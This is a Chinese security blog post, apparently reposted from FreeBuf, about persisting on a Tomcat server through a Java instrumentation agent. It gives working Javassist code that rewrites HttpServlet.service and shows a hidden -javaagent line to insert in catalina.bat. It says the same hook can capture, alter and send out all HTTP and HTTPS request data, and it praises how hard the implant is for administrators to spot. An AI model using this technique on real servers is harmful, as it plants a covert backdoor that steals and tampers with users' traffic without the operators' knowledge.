1. 程式人生 > >技術乾貨丨Java Web本地提權以及資料劫持思路(以Tomcat為例)

技術乾貨丨Java Web本地提權以及資料劫持思路(以Tomcat為例)

最近偶然接觸到一個Java的不常用的特性:instrument。簡單來說,這個特性允許你在程式執行之前改變任意類檔案的位元組碼。

簡單的instrument例子大家可以百度,相當多。

而在執行Java程式的時候,只需要加上一個選項即可執行寫好的instrument jar包,如:java -javaagent:agent.jar -jar helloworld.jar。

那麼回到這次的主題,如何在tomcat中利用這個特性做到提權和劫持資料呢?

提權的思路其實可能有些小夥伴已經想到了。

就是根據這個特性寫一個Java程式,打包成jar(比如agent.jar),然後放到tomcat的lib裡或者其他地方,然後在catalina.bat中找個隱蔽的地方加上如下一行:

set CATALINA_OPTS=%CATALINA_OPTS% -javaagent:絕對路徑\agent.jar=引數

當管理員啟動tomcat的時候就會執行agent裡的Java程式碼了。

當然,這麼做需要能上傳檔案以及對catalina.bat有寫許可權。

其實當你能登入伺服器或者有shell的時候,已經可以做很多事了。提權可能根本不需要通過tomcat這種途徑。

那麼是否還能做點別的呢?

根據這個特性,其實還可以攔截所有http請求的資料。

據本人所知,所有Java web專案裡的請求處理類都繼承了HttpServlet這個抽象類,包括Spring。

所以你只要通過這個特性,修改HttpServlet的程式碼就可以獲取和改動所有request和response的頭以及資料,要把資料發走也不是問題,加個URLconnection的處理就行。

以下給一個簡單的示例,

專案截圖:

Transformer類,功能相當於把Java程式碼插入了HttpServlet中。

幾乎可插入任意變數和方法,但有些寫法上稍微與一般的java不一樣,且儘量使用core java:

package org.xf.agent;
import java.io.ByteArrayInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.reflect.Modifier;
import java.security.ProtectionDomain;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
public class ServletTransformer  implements ClassFileTransformer{
@Override
public byte[] transform(ClassLoader loader, String className,Class<?> classBeingRedefined, ProtectionDomain protectionDomain,byte[] classfileBuffer) throws IllegalClassFormatException {
if(className.equals("javax/servlet/http/HttpServlet")){
return transformClass(classfileBuffer);
}
return classfileBuffer;
}
private byte[] transformClass(byte[] classfileBuffer) {
try {
        ClassPool cp = ClassPool.getDefault();
        CtClass cc = cp.makeClass(new ByteArrayInputStream(classfileBuffer));
        CtMethod[] ms = cc.getDeclaredMethods();
        for(CtMethod method: ms)
        {
        //只改動service方法就夠了
        if(method.getName().equals("service")&&Modifier.toString(method.getModifiers()).equals("protected"))
        {
        method.insertAfter("resp.setHeader(\"Server\",\"JBoss\");");
        }
        }
        byte[] byteCode = cc.toBytecode();
        cc.detach();
        return byteCode;
    } catch (Exception ex) {
        ex.printStackTrace();
        return null;
    }
}
}

Agent類:

    package org.xf.agent;
    import java.lang.instrument.Instrumentation;
    public class ServletAgent {
    public static void premain(String agentArguments, Instrumentation instrumentation) {
       instrumentation.addTransformer(new ServletTransformer());
    }
    }

匯出為可執行Jar,用7z編輯Jar包裡的MANIFEST.MF檔案,加上一行:

premain-Class: org.xf.agent.ServletAgent

樣本如下圖所示:

然後隨便建個Web專案,servlet程式碼如下:

@WebServlet("/Basic")
public class Basic extends HttpServlet {
private static final long serialVersionUID = 1L;

/**
* @see HttpServlet#HttpServlet()
*/
public Basic() {
   super();
   // TODO Auto-generated constructor stub
}
/**
* @see HttpServlet#doGet(HttpServletRequest request,     
HttpServletResponse response)
*/
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.getWriter().print("Hello");
}
/**
* @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)
*/
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.getWriter().print("Hello");
}
}

別忘了在tomcat的catalina.bat中加入那一行,建議使用絕對路徑,然後下面是執行效果,可以看到響應頭中出現了Server: JBoss。

這樣做的隱蔽性很好,因為幾乎不會有管理員去檢查lib裡的jar是不是多了一個,catalina的配置更是幾百年都不一定檢查一次。

而無論專案war包如何換,都不影響這個隱藏jar包的。基本只要這個程式不導致什麼重大的效能問題,就很難被發現。

並且由於這個方法是從內部修改程式,HTTPS加密的內容也可以修改和盜取。

這並不是一個Bug或者漏洞,而是一個完全正規的Java特性,所以。。。

應該是不可被修復的吧。

*本文作者:jfeiyi 。轉載請註明來自FreeBuf.com

置頂懸鏡安全實驗室公眾號,給你最新,最有料的資訊,安全技術乾貨。